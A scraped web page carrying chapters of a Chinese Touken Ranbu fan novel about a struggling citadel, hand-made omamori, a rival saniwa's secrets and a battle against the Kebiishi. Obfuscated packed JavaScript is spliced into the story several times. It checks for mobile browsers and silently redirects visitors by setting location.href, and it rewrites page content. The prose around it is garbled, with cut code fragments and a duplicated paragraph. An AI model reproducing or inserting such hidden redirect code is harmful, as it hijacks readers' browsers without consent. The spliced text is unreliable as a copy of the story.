;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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加州清光发现自己的枕边多了一小盒护甲油,是采购时他多看了两眼但最终们舍得买的牌子;小短刀合住的部屋则外放着一小包本丸试验田新收的、炒得香喷喷的葵花籽。 堀川国广的本体旁多了一条编织得有些松散的下绪,虽然送礼的人极力掩饰自己的身份,但对方的欲盖弥彰还是让堀川国广差点儿笑出来。[1] 次郎太刀的窗台上摆着一小碟前不久才用本丸有限的糖和野果熬制的、分发给除了药研藤四郎以外的小短刀们的、带着清甜气息的果脯。 当然,果脯没有分给药研藤四郎完全是因为此刃表示自己并不想要,但是他是真的不想要吗? 一文字则宗拉开自己部屋的门时,发现门槛内放着一个手工编成的、颇为风雅的扇坠,用的正是本丸后山新发的、带有微弱灵力的藤草。 这些礼物究竟是谁放的?没有刃主动站出来承认,但在他们彼此交换的目光中,有着双方都心照不宣的暖意。 24.第二十四章 万屋归来后的那点波澜很快就被T57本丸日常的、更为实际的生存节奏所吸收、抚平,采购带回的物资被药研藤四郎几刃一丝不苟地登记入库,那些来自“外人”的馈赠与“自己人”的小心意也如同雨后春笋春雨渗入干涸的土地,无声地滋养着本丸内部日渐坚韧的根系。 日子就这么一天天的在出阵、远征、内番与手合的循环中滑过,磨合带来的生涩感也在一次次的实战配合与日常相处中缓慢消融,如同粗糙的玉石被流水经年累月地打磨,逐渐显露出内敛的光泽。 山姥切国广、药研藤四郎与一文字则宗组成的“三刃决策小组”的运行愈发流畅。 山姥切国广负责的战斗调度越发精准,他能够根据任务需求和刀剑状态迅速组合出最合适的队伍,即便偶尔有刃在战斗中因配合失误受些轻伤,归来后的检讨与加练也成了常态,无人抱怨,只有更加专注的磨合。 药研藤四郎将内务打理的井井有条,有限的资源被最大化利用,试验田里的蔬菜、药草冒出了嫩芽,虽然离丰收还很远,但那么绿色本身就已经希望。 他甚至还尝试用一些野外采集的草药配合有限的医疗资源调配出效果尚可的外敷药膏,节省了不少修复资源。 一文字则宗则继续扮演这他“润滑剂”与“防火墙”的角色,对外的文书滴水不漏,与狐之助的“友好”互动维持着微妙的平衡,那些游走于灰色地带带来的“额外收入”也偶尔会带来一些惊喜,为本丸紧绷的资源链提供着宝贵的缓冲。 现在的一文字则宗在T57本丸最初的刀剑严重不再仅仅是“前监察官”,更是“则宗殿”——一个可靠、圆融、总能在关键时刻提供不同视角的同伴。 源朝曦依旧每日在天守阁内静坐调息,但本丸的刀剑们能清晰的感受到萦绕在本丸空气中的灵力正在以一种缓慢但持续的速度增长,更不要说宵雾现在越来越活泼,硬生生让小老虎在面对它的惊吓时都脱敏了。 万叶樱上也冒出了几个米粒般大小的、几乎难以察觉的花苞,这一切的变化都在无声地诉说着那位看似不问世事的主君正在以她的方式支撑着这个本丸。 这日,在完成了又一轮的日常汇报后,山姥切国广、药研藤四郎与一文字则宗正欲推出天守阁,源朝曦却罕见地再次开口:“且慢。” 三刃停下离开的脚步,回身恭立。 “本丸最近的发展一直仰仗于诸位,诸位辛苦了。”源朝曦的声音依旧给刃一些中气不足的感觉,但比她初来的时候平稳了许多,“更不要说之前的万屋之行诸位不仅采购回了必需品,亦带回不少心意。” 源朝曦的话似乎意有所指,却又点到为止。 就在三刃揣测她具体的意思时,源朝曦伸出手,纤细苍白的手指在虚空中轻轻一拂,微弱的暗金色灵光如同萤火般自她指尖逸散,紧接着数十个样式古朴、流淌着温润灵力的御守便凭空出现在矮桌上,整齐地码放着。 这些御守并非是时政工坊流水线上的制式产品,它们彼此之间的形态略有不同,上面用细密的针法绣着简化的纹路——细看之下还能从中发现乌鸦、蛇以及源氏的龙胆花纹样。 “这些是我闲暇时随手做的,灵力微薄,不成敬意。”源朝曦语气平淡,就像在和一文字则宗几刃说今天天气真好一样,“大家带着身上或许能在紧要时挡去些许灾厄,或为诸位恢复气力提供些微助益。” 山姥切国广和药研藤四郎俱是一怔,由审神者亲手制作、蕴含其灵力的御守意义绝非寻常,毕竟绝大多数审神者都不会制作御守。 而对于T57本丸这种长期灵力枯竭、刀剑们几乎全靠自身硬抗的本丸而言,这不仅仅是礼物,更是一种极其珍贵的资源,一种能够直接裨益于他们战斗与生存的“保障”。 但两刃的第一反应并非是感到欣喜,而是几乎同时升起的、难以抑制的忧虑。 凤黯大人自从来到T57本丸后一直深居简出,声称自己需要静养恢复健康,连日常的事务都全权托付给他们,他们都以为她的状况依旧虚弱,需要节省每一分灵力来温养自身,可现在她竟然拿出了这么多亲手制作的御守! 制作这些御守需要消耗多少的灵力?是否会对她的恢复造成影响?甚至是否会加重她的伤势? 山姥切国广兜帽下的眉头紧紧锁起,他盯着那些御守,仿佛那不是给予他们这群刀剑付丧神庇佑之物,而是某种会吸食主人精血的负担。 药研藤四郎镜片后的目光瞬间变得锐利而复杂,他几乎是下意识地开始在心中估算制作这些御守可能消耗的灵力量以及这对一个重伤未愈者意味着什么。 “大将!”药研藤四郎几乎是脱口而出,声音因为急切而比平时高了些许,但他立刻就意识到自己的失态,迅速压下情绪。 “您的身体未愈,实在不必为我们耗费心力制作这些,本丸的日常所需,我等自会竭力筹措,您的健康才是首要。”药研藤四郎的话语条理清晰,关切之情溢于言表,却又谨守着下属的界限。 “我们已经习惯了,这些御守太过珍贵,请您保重自身。” 山姥切国广和药研藤四郎并非不想要这份庇护,相反,在时空战场上一个高品质的御守有时候就是生与死的界限,但他们更害怕这份庇护的代价是加重这位刚刚带来一丝希望的主上的负担。 漫长的、挣扎求生的岁月早已教会了他们一个道理:任何看似无偿的馈赠都可能已经暗中标好了价格,或者是消耗着更加珍贵的东西。 一文字则宗站在侧后方,手中的折扇不知何时已经停止摇晃,他看着桌上那些散发着熟悉灵力波动的御守,又看看眼前两位同伴紧绷的身影,眼中闪过一丝了然与更深沉的思量,但他并没有立刻说话,只是安静地观察着正在发生的一切。 源朝曦将他们的反应尽收眼底,山姥切国广那几乎要化为实质的担忧,药研藤四郎强行压抑的急切,还有那份深藏的、不愿因索取而加重她负担的克制……这些情绪如此真实,甚至冲淡了他们最初看到御守时可能产生的欣喜。 “无妨,不过是闲暇时所做,本丸诸位进来推图频繁,多有损耗,戴上它,我们多少能安心些。” “我的身体,我自有分寸。”源朝曦注意到药研藤四郎和山姥切国广两刃依旧不相信的表情继续说,“比起这个,我更希望看到诸位能够从容地面对战场,减少不必要的损伤。” 山姥切国广和药研藤四郎沉默了,源朝曦的话已经说到这个份上,再继续推辞下去便是辜负她的心意,更是对她判断的不信任。 药研藤四郎深吸一口气,率先跪坐在源朝曦的面前躬身:“大将,我呢是药研藤四郎,以后的日子里和兄弟们一起都请多多关照,名字里虽然有藤四郎,不过和兄弟们不同,我是在战争中长大的,风雅的事情不太懂,不过战场就交给我吧。总之,好好相处吧,大将。”[1] “我是山姥切国广,受足利城主长尾显长的委托所打的刀,是山姥切的仿制品,但是,我才不是什么冒牌货,是国广的第一杰作!”[2] 直起身子的山姥切国广注意到源朝曦含笑的眼神,条件反射般的拉低自己的兜帽:“你那是什么眼神,介意我是仿造品吗?” “没有哦,山姥切是一振很值得信赖的刀呢。”源朝曦笑咪咪的说,“时间不早了,诸位也请开始今日的任务吧。” “是。” 三刃行礼告退,药研藤四郎小心地将桌上那些御守仔细收好,山姥切国广沉默地跟在他身侧,一文字则宗走在最后,合拢的折扇在他指尖轻轻转动,他回头最后望了一眼天守阁,眼中思绪翻涌。 主上今日之举绝非她口中“闲暇时做的”那么简单,这些御守中蕴含的灵力远超常人想象,制作它们所需的心力与掌控力绝非一个“重伤未愈”之人能够轻易负荷。 除非主上所谓的“重伤”其内涵与众人理解的根本不同,或者她的恢复速度远比表现出来的要快得多,还有她的那份笃定,她似乎很确信送出这些御守不会对她的身体造成影响。 一文字则宗摇摇扇子,将纷乱的思绪压下,无论如何,主上愿意主动给予庇护,这对于本丸而言终究是一件好事,至于其他,且行且看吧。 T57本丸的故事暂时告一段落,让我们把时间倒流回一文字则宗等刃前往万屋采购的当天,视线投向另一座本丸。 天守阁内,胧夜已经褪下那身外出时穿的白色羽织,换上了一袭简单的月白色居家和服,此时的她未带兜帽,露出一张英气的面容,看起来不过二十出头,正对着一方紫檀木盒出神。 木盒里面装着的并非是金银珠宝,而是一尊造型古朴的蛇形木雕以及一枚色泽沉黯、形似乌鸦翎羽的漆黑玉石,两者被并排供奉在柔软的金丝绒上。 胧夜伸出手,指尖极轻地拂过木雕冰凉的鳞片纹路,又碰了碰那枚黑羽,深紫色的眼眸中翻涌着浓得化不开的思念与痛楚,“母亲……” 门外传来极轻的叩门声。 “家主,是我,髭切。”软绵绵的声音隔着门板传来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876556|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胧夜迅速收敛起自己多余的情绪,合上木盒,将其小心放入壁龛深处,这才起身拉开房门。 门外站着的是穿着内番服的髭切,他脸上依旧带着那副看起来很迷糊的笑容,但目光落在胧夜的身上时,他那双蜜糖金的眼眸深处还是闪过一丝不易察觉的关切。 “这么晚了,髭切殿有事吗?”胧夜侧身让他进来。 “没什么大事,只是担心丸一直不放心,一定要让我来看看家主。”髭切自然地走进来在矮桌前坐下,目光状似无意地扫过已恢复原样的壁龛方向,“家主今日从万屋回来,似乎有些心神不宁?遇到了什么事吗?” 胧夜在他对面坐下,沉默片刻,摇摇头:“没什么,只是在万屋时似乎感觉到一丝熟悉的灵力波动,不过很微弱,可能是我感知错了。” “熟悉的灵力?”髭切歪歪头,“是家主以前认识的人吗?” “或许吧。”胧夜没有正面回答这个问题,转而问到,“膝丸殿呢?他还和长谷部殿在手合室加练?” “是啊,担心丸和练手丸总觉得自己不够强,保护不了家主。”髭切笑了笑,语气轻松,但话语中的意味却不由得让胧夜心中一涩。 原S417本丸、现T417本丸的暗堕根源在于前任审神者极端扭曲的掌控欲与虐待,髭切和膝丸作为最早被召唤来的刀剑承受了最多的折磨。 胧夜穿越来的时候恰逢本丸的刀剑们忍无可忍、濒临彻底暗堕或者碎刀的边缘,她并非循规蹈矩的时政人员,对前任审神者毫无同情,更何况是前任审神者自己切断了和时政的联系,于是她就这样凭借自身的力量与决断协助了这场“叛乱”,并接手了这个烂摊子。 胧夜对髭切和膝丸有着远超寻常审神者与刀剑的情感,不仅因为他们是她稳定本丸最初、也是最关键的助力,更因为在她的原世界,抚养她长大的正是他们的同位体——那对在她养母早逝、养父忙碌的岁月里给予她兄长般陪伴与教导的源氏重宝。 “请帮我转告膝丸殿和长谷部殿,不必如此,你们已经做得很好了。” “这话还是家主亲自对他说吧,听话丸还是更听家主的话。”髭切笑咪咪的说,随即话题一转,“说起来,家主对武器的运用似乎不止是弓箭呢,今日在万屋的时候,主下意识按向腰侧的动作那里似乎藏着什么?” 胧夜身体急不可查地一僵,无论哪一个世界的髭切,他的观察力都敏锐得可怕,她小的时候能够看出来她到底有没有完成课业,现在能够察觉到她尽心隐藏的事。 “只是一把怀剑,防身之用。”胧夜避重就轻的回答。 “怀剑啊,家主身上的秘密似乎不少呢。”髭切没有追问,只是意味深长地看着她,“不过没关系,家主愿意告诉我们的时候自然会告诉我们的。我和膝丸,还有本丸的大家都会等着的。” 髭切的话语平静却带着沉甸甸的分量,T417本丸的刀剑们对胧夜的忠诚近乎盲目,这不仅源于救命之恩,更源于她展现出的、与他们认知中截然不同的审神者形象——强大、果决、拥有秘密,却愿意为他们对抗规则,给予他们真正的“庇护”而非“支配”。 胧夜心中一暖,又有些酸楚,她又何尝不想倾诉? 关于她来自一个战火纷飞的平安京,关于她身为源氏养女、大阴阳师源赖光之女的过去,关于她那位惊才绝艳却早逝的养母,关于她穿越时空的迷茫与肩负的责任……但这些太过匪夷所思,也太过沉重。 “谢谢你们,髭切。” 髭切笑了笑,站起身:“那么,家主早些休息。若那‘熟悉的灵力’让家主感到困扰,不妨说出来,大家一起想办法。现在,我们可不是孤身一人了。” 送走髭切,胧夜重新关上门,背靠着门板,缓缓滑坐在地,她伸手探入怀中,指尖触碰到一截冰凉光滑的刀柄——那并非普通的怀剑,而是养父源赖光在她成年前夜赠与的珍贵礼物,袖赦。[3] 而在她卧室隐秘的祭坛上,供奉的除了那蛇与乌的御神体外,还有另一把未曾示人的太刀——同样来自养父的赠礼,蝶丸。[4][5] 源朝曦将脸埋入膝间,灰蓝色的眼眸在阴影中晦暗不明。 母亲,您到底在哪里?您真的……在这个世界吗?如果真的是您,为什么不来见我?还是说,您也身不由己? 夜色深沉,两个本丸,两位身怀秘密的审神者,隔着遥远的时空,各自沉浸在只有自己知晓的思念与背负之中,命运的丝线悄然交织,而真正的波澜尚未到来。 25.第二十五章 御守的余温尚且在指尖流转,而T57本丸的生活已然步入新的轨道。 山姥切国广和药研藤四郎两刃在最初的忧虑过后,还是选择按照源朝曦的吩咐将御守分发下去——毕竟,没有人比他们更清楚在战场上多一份保障意味着什么。 刀剑们将其或是郑重的佩戴于颈间,或是仔细系于腰间,或是贴身收藏,这枚小小的御守不仅意味着他们的生命多了一层保障,更是一种象征——一种他们是被主君“看见”并且“庇佑”的象征。 尽管山姥切国广和药研藤四郎依旧将那份忧虑深藏于心底,但整个本丸的氛围确确实实因这份无声的馈赠而更加凝聚。 磨合的齿轮继续转动,日常的节奏在磕碰与调整中趋于平稳,出阵、远征、内番、手合……时光在看似循环的规律中不断向前流淌。 本丸田地已冒出绵延的绿意,仓库里的资源虽然依旧不算宽裕,但却也让刀剑们渐渐摆脱了“随时可能见底”的恐慌,万叶樱的花苞日益饱满,一切都朝向充满希望的方向生长。 宵雾愈发神出鬼没,时而盘踞在天守阁窗户附近晒太阳,时而溜达到手合室观摩对战,时而带着已经和它混熟的小老虎们巡视本丸。 宵雾那双金色的竖瞳似乎总在观察着什么,却又对一切漠不关心,只除了偶尔心血来潮的带着五虎退的小老虎找他们最近的“新玩具”——和泉守兼定玩耍。 但平静之下却始终存在着暗流涌动,本丸的资源依旧紧张,灰色地带的“兼职”虽然能解一时之急,但终究不是长久之计,而且风险始终存在。 山姥切国广、药研藤四郎与一文字则宗的三刃决策会议愈发频繁,讨论的核心始终围绕着要如何开源节流,如何在规则的边缘安全行走。 “我们最近接取的几个委托报酬越来越不稳定了。”药研藤四郎推推眼镜,在摊开的地图上点了点,“渠道本身没有暴露的迹象,但发布委托的‘中间人’似乎也在观望,给出的报酬和任务难度越来越不成正比。” “看来那些‘中间人’也在评估我们现在的价值与风险。”一文字则缓缓说,他能理解对方的想法,天下熙熙皆为利来,天下攘攘皆为利往,他们不过是想不断压榨T57本丸的剩余价值。 “报酬降低或许是在试探我们的底线,也或许是觉得我们过于依赖这条渠道,可以压价。” “或者是察觉到我们的本丸正在缓慢恢复,认为我们有了更多选择的余地,所以用这种方式施压,想让我们接受更苛刻的条件?” “这些都有可能,但无论如何,这都不是一个好兆头。和灰色地带的‘合作’本就脆弱,一旦失衡,我们很可能成为被牺牲的一方。” 室内陷入短暂的沉默,依靠灰色收入缓解燃眉之急是无奈之举,但这条路的不可控性他们心知肚明,本丸现在才刚刚步入正轨,任何来自外部的风波都可能将这点儿脆弱的稳定打破。 “那么,是时候考虑减少对‘兼职’的依赖,将重心更多转向正规渠道了。”一文字则宗合拢扇子,轻轻敲击掌心。 “减少依赖,说得轻巧。”山姥切国广的声音从兜帽下传来,带着惯有的沉闷,“正轨渠道的日课产出有限,维持现有的资源消耗尚且勉强,遑论积累。” 山姥切国广的之指尖在地图上代表他们本丸位置的坐标处点了点,那里被药研藤四郎用红笔仔细圈出,旁边标注着各项资源的结余数字,每一项都徘徊在警戒线附近。 “除非,我们能更高效的完成更高难度的任务,获取额外奖励。”药研藤四郎接过话茬,镜片后的目光锐利的扫过地图上标记的各个合战场,“或者找到新的、更稳定的‘外快’来源,但同样的,风险也是倍增的。” “高难度的任务意味着更高的练度要求和更精密的配合以及可能存在的更大的受伤风险。”山姥切国广的指尖无意识地拂过那枚崭新的御守,冰凉的织物上似乎还残留着源朝曦灵力的余温,“主上赐予的御守是给我们的保障,但不能成为我们冒进的依仗。” “山姥切殿所言极是。”一文字则宗重新展开手中的折扇轻轻摇动,“不过,依照本丸目前的战力来看,如果能精心策划,某些原本需要踮脚才能够到的区域,现在或许就可以尝试触碰。” 一文字则宗手中的扇尖缓缓移动,最终指向其中一个标记处:“这里,战国的记忆·桶狭间,俗称4-3,此处的资源产出以玉钢为主,正是我们目前相对紧缺的。”[1] 山姥切国广的目光也随着一文字则宗的动作停留在4-3的标记处,兜帽下的眉头紧锁,桶狭间,那是一片交织着奇袭、豪雨与命运转折的战场,对于如今的本丸而言,是机遇,更是严峻的考验。 “4-3的敌人配置以精锐的敌打刀、敌太刀为主,侦查要求不低且常有检非违使出没。”药研藤四郎调出详细的战场数据,冷静分析。 “以我们目前的队伍平均练度和配合度,正面强攻风险过高,但若采取游击战术,利用地形和短刀的机动性进行侦查、袭扰,重点收集玉钢,或许可行。” 山姥切国广的目光也随着一文字则宗的动作停留在4-3的标记处,兜帽下的眉头紧锁,桶狭间,那是一片交织着奇袭、豪雨与命运转折的战场,对于如今的本丸而言,是机遇,更是严峻的考验。 “4-3的敌人配置以精锐的敌打刀、敌太刀为主,侦查要求不低且常有检非违使出没。”药研藤四郎调出详细的战场数据,冷静分析。 “以我们目前的队伍平均练度和配合度,正面强攻风险过高,但若采取游击战术,利用地形和短刀的机动性进行侦查、袭扰,重点收集玉钢,或许可行。” “那么就制定一份针对4-3地图的详细作战计划,以侦查、迂回战斗和快速收集为主,尽量避免正面大规模冲突,同时要随时做好撤退准备。”一文字则宗最终拍板。 “至于人选,老头子我认为可以由山姥切殿亲自带队,我随行,药研殿留守本丸调度并随时做好接应的准备。” 山姥切国广和药研藤四郎闻言都看向一文字则宗,他们都知道一文字则宗的练度很高,但对方来到本丸后一直负责的是文职和对外协调,从未出过阵。 一方面是因为一文字则宗的练度是普99,是本丸目前当之无愧的最高战力,但也正因如此,本丸刀剑们心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“准备战斗!”山姥切国广猛地扬起手中打刀,刀刃在雨中折射出冷光,几乎是同时,他腰间那枚源朝曦赠与的御守微微发热,一股温和却坚定的力量悄然流转全身。 一文字则宗已无声地占到了队伍侧翼,他那身醒目的白西装在昏暗的林间格格不入,但却奇异地带着一种沉稳的气场。 他手中的折扇早已收起,取而代之的是一柄狭长优雅的太刀,普99的练度带来的不仅是力量,更是历经无数战场淬炼出的、近乎本能的战斗素养,他只是站在那里,就自然而然地锁定了威胁最大的那振敌大太刀。 “国广,配合我!”和泉守兼定与堀川国广两刃背靠背,眼神凌厉。 “是,卡内桑!” “正面牵制就交给我吧。”太郎太刀手中的大太刀已经出鞘,做好战斗准备。 五虎退努力在战斗间隙感知着四周:“队长,除了检非,东南方向还有一道很微弱的、很不稳定的灵力波动,好像随时会消失一样。” “什么?”山姥切国广眉头紧锁,在这个节骨眼上出现的任何变数都有可能是致命的。 “先解决眼前,无论那波动是什么,检非的目标都是我们,不解决掉它们,我们无法确认也无法应对任何其他情况。” 26.第二十六章 检非违使并非是普通的、妄想改变历史的时间溯行军,他们更像是时空自我修正机制催生的无差别清除者,力量强悍、攻击模式死板却极具破坏力。 一旦出现在合战场或者是其他地方,他们必然会对面前所有的“异常存在”——无论是时间溯行军还是刀剑男士们——进行无差别的攻击,而此时,他们冰冷的视线已经齐齐聚焦在T57本丸的这支队伍身上。 “啧!”山姥切国广猛地挥刀隔开格开一记来自敌打刀的迅猛劈砍,对方巨大的力量震得他手臂发麻,腰间那枚御守的温热感愈发明显,一股柔和却坚韧的力量正顺着灵力链接持续灌注进他的身体,帮助他稳定身形、抵消冲击。 “他们的攻击力度怎么这么强?!”堀川国广的声音带着惊诧,他刚才与和泉守兼定配合默契地交错进攻,试图牵制一振敌打刀,却发现对方的防御力极强,反击更是沉重得让他虎口发痛。 “是则宗殿的练度!”五虎退一边努力感知着东南方向的灵力波动,一边急促的喊,“检非违使的出现和强度和队伍里等级最高的刀有关!则宗殿的等级太高了!” 此话一出,众刃心中皆是一沉,谁也没想到一文字则宗第一次出阵就能遇上检非违使,于是在平时是强大保障的普99练度此刻却成了催生更强敌人的催化剂,这也就意味着山姥切国广他们此刻面对的是一支足以匹配一文字则宗练度的、完全的检非违使队伍! “该死!”和泉守兼定手中的打刀格挡开一振敌打刀的突刺,整个刃却被另一侧袭来的敌胁差逼得连连后退,“怎么这么倒霉!” “抱怨是没有用的!调整阵型!”山姥切国广强压下心中的震动,腰间御守传来的暖流让他的思维异常清晰。 “则宗殿,正面牵制敌大太刀和那两振敌太刀!太郎殿,协助则宗殿,务必挡住正面冲击!兄弟、和泉守,侧翼游走,干扰敌打刀!五虎退,随时汇报那灵力波动情况,同时机动支援!” 山姥切国广的命令在雨幕中迅速传达,一文字则宗没有丝毫犹豫,手中太刀划出一道冷冽的弧光,主动迎向了那振身形最为高大、压迫感最强的敌大太刀。 “锵——” 刺耳的金铁交鸣声几乎盖过雨声,一文字则宗脚下泥水飞溅,他硬生生架住了敌大太的一记重劈,即便面对等级远超常态的检非违使,经年累月积累的战斗经验与高超的练度依旧让他稳稳接住了这第一击。 “哼!”一文字则宗手腕一抖,卸去部分力道,同时身形如鬼魅般侧滑,太刀顺势上撩,直取敌大太刀的手臂关节。脸上惯常的笑容早已消失,取而代之的是一种近乎漠然的专注,那双总是含着笑意的眼眸此刻锐利如鹰,精准地捕捉着对手的每一个破绽。 太郎太刀紧随其后,手中的本体刀横扫,试图逼退从两侧包抄而来的敌太刀,为一文字则宗创造进攻空间,但他的压力同样巨大,每一次和检非违使的碰撞都震得练度还不够的他手臂发麻。 侧翼的和泉守兼定与堀川国广两刃背靠着背如同不断旋转的利刃在敌打刀和敌胁差的围攻中艰难周旋,他们的配合默契无间,往往能在千钧一发之际为对方挡下致命的攻击,但等级和属性上的巨大差距让他们的防御圈不断被压缩,险象环生。 堀川国广格开一记来自敌打刀的劈砍,虎口崩裂,鲜血顺着刀柄流下,他咬紧牙关,腰间御守微微发烫,一股温和的力量涌入手臂,缓解了部分疼痛,但御守本身的光芒似乎黯淡了一分。 “卡内桑!小心左边!”堀川国广急声提醒,同时不顾自身破绽,猛地将手中胁差掷向偷袭和泉守兼定侧后方的敌胁差! “国广!”和泉守兼定目眦欲裂,挥刀逼退面前的敌人,回身想要救援,却见堀川国广已就地翻滚,险险避开了另一振敌打刀的追击,只是肩膀被划开一道不深不浅的口子。 “因为兼先生是那样,所以我本不想生气的……!” [1] 五虎退和他的小老虎们不断穿梭在战场边缘,作为这个队伍中侦查值最高的短刀,他的侦查能力在此刻发挥了至关重要的作用,同样的,他身上的御守也在持续散发着微光,不断为他提供力量。 “东南方向的灵力波动在不断减弱!现在已经很微弱了!”五虎退一边闪避着飞溅来的泥水,一边报告,“但检非的攻击太过于密集!我们现在无法脱身!” “不能拖,必须速战速决!”山姥切国广的声音透过雨幕传来,他此刻正与一振敌打刀和一振敌胁差缠斗,兜帽早已在战斗中滑落,露出底下阴郁却坚定的面容。 山姥切国广手中的打刀挥舞得密不透风,虽然他的练度不及检非,但凭借丰富的战斗经验和御守的加持,竟也勉强挡住了两振敌刃的围攻,“我要让你为侮辱我是复制品这件事感到后悔!用命来赎!” [2] 尽管山姥切国广的指令清晰而迅速,但在绝对的实力差距面前,再精妙的战术也需要力量去支撑,检非违使如同冰冷的绞肉机般不断压缩着T57本丸队伍的生存空间。 “用你身体,来接受无双的风暴吧!”太郎太刀手中的大太刀横扫,逼退了试图从侧面夹击一文字则宗的敌太刀,但他自己也被另一振敌太刀的刀锋划过腰侧,鲜血瞬间染红衣襟。[3] 腰间那枚源朝曦赐予的御守骤然发烫,一股温和却坚韧的灵力屏障瞬间展开,堪堪抵消了部分斩击的力道,让伤口停留在皮肉伤的程度,但御守本身的光芒肉眼可见地黯淡下去,边缘甚至出现了细微的裂痕。 当最后一一振敌胁差化为光点消散时,雨势似乎也小了些。 “快!处理伤口,检查刀装!”山姥切国广随手抹去脸上的雨水与血污,急促的说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946348|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >每个刃身上都带了伤,衣装破损,刀装也全部损坏,但好在无人重伤,这全赖御守提供的额外防护——太郎太刀的御守甚至已经几乎损毁,山姥切国广、堀川国广与和泉守兼定的御守也都出现了不同程度的裂痕或灵力衰竭迹象,只有一文字则宗和五虎退的御守尚且保持完整,但光泽也暗淡许多。 若非这些源朝曦亲手制作的御守在关键时刻展开灵力屏障,为他们抵消了部分致命攻击,或是提供额外的力量,刚才那场与高强度检非违使的遭遇战中,绝不止是现在这些皮肉伤和刀装全毁的结果,碎刀的风险曾真实地逼近过每一个刃。 “先处理伤势,简单包扎。”山姥切国广撕下自己内衬相对干净的布条,递给受伤较重的太郎太刀和堀川国广,声音沉稳,强行压下翻腾的气血和手臂的酸痛,“五虎退,那个灵力波动,现在怎么样了?” 五虎退闭眼凝神感知,小老虎们也竖起耳朵,“还在,感觉很微弱,但比最开始更清晰了一点儿,就在东南方向,大概……两百米左右?好像没有移动,但给我一种快要消失的感觉。” 山姥切国广眉头紧锁,检非违使虽然已经被消除,但来源尚未明确,也不能放任对方在那里不管,万一再引来新的检非违使,或者那个“源头”本身是什么危险之物…… “我们过去看看。”山姥切国广作出决定,“大家注意保持警惕,五虎退带路。” 林中的气息潮湿而压抑,混合着泥土、锈铁与灵力消散后的气息,在五虎退的指引下,队伍谨慎地穿过一片被战斗波及而东倒西歪的灌木丛,雨水冲刷着叶片,也暂时掩盖了他们移动的声响。 拨开最后一片垂落的、挂着水珠的藤蔓,眼前的景象让众刃脚步一顿。 一片相对开阔的泥泞地上,一振刀剑男士背靠着一块巨大的、布满青苔的岩石瘫坐在地,他穿着深色的出阵服此刻已被泥污和雨水浸透,显得整个刃狼狈不堪。 最引人注目的是他身边散落着几个鼓鼓囊囊的布袋以及几个刀装——虽然也沾染了泥水,但一看便知品质上乘,绝非战场捡拾的残次品。 而那振刀剑男士本人状态极差,他低垂着头,紫灰色的短发湿漉漉地贴在额前,呼吸微弱得几乎听不见,周身原本应当充沛的灵力此刻如同风中残烛,明灭不定,仿佛下一秒就会彻底熄灭。 眼前的景象让山姥切国广等人心中警铃大作,一振明显状态极差、灵力濒临枯竭的刀剑,身边却散落着大量品质上乘的资源……这情形太过诡异,要么是陷阱,要么便预示着某种更加复杂的麻烦。 “戒备。”山姥切国广的声音压得很低,将手中的打刀横在身前,忍着伤痛缓步靠近。 堀川国广跟在和泉守兼定身侧,目光锐利地扫过那些布袋和刀装:“这些物资不像是战场捡拾的,太规整了,而且这个数量……” 27.第 27 章 虽然堀川国广的话并未说完,但所有刃都明白他的意思——一个濒临灵力枯竭的刀剑身边却有这种品质的物资,这绝对不是正常的战场遭遇。 这振刀剑要么本身就是被放出来的诱饵,要么他自己就是这些物资的主人,而他的现状或许正与这些物资的来源有关。 “陷阱?”和泉守兼定眯起眼。 山姥切国广没有回答,他已经走到那振刀剑男士面前数步远的地方停下,对方依旧毫无反应,似乎已经陷入深度昏迷。 经过仔细观察后,山姥切国广发现对方身上没有明显的致命伤,但灵力波动微弱得如同风中残烛,脸色苍白得近乎透明,这是灵力严重透支、濒临消散的征兆。 “看起来像是长谷部殿?”五虎退有些不确定的说,作为分灵,他从未在本丸见过压切长谷部,只能从装束和发型上大致判断。 山姥切国广盯着那振疑似压切长谷部的刀剑,对方的状态确实糟糕透顶,不似作伪,但那些规整的物资实在是太过可疑。 于是他蹲下身,谨慎地探了探对方的脖颈处——微弱、紊乱,如同即将干涸的溪流,确确实实是灵力严重透支、濒临强制回归本体的征兆,“不是陷阱,他确实快撑不住了。” 一文字则宗不知何时悄然上前,他并未放松戒备,手中的太刀依旧维持着一种随时可以出鞘的姿态。 他蹲下身,用合拢的扇子隔着一段距离轻轻拨动了一下离长谷部最近的一个布袋口,袋口微微敞开,露出里面码放整齐、品质上乘的玉钢和砥石,绝非战场上能轻易拾取的零散资源。 “物资保存完好,刀装也没有损伤,唯独他自己濒临消散,不像是抢夺了其他队伍的补给,更像是他主动携带了大量物资,然后长时间在此停留,直至灵力耗尽。“ “在这种地方长时间停留?!”和泉守兼定环顾周围,一脸难以置信,“等着被时间溯行军或者检非违使找上门吗?!” 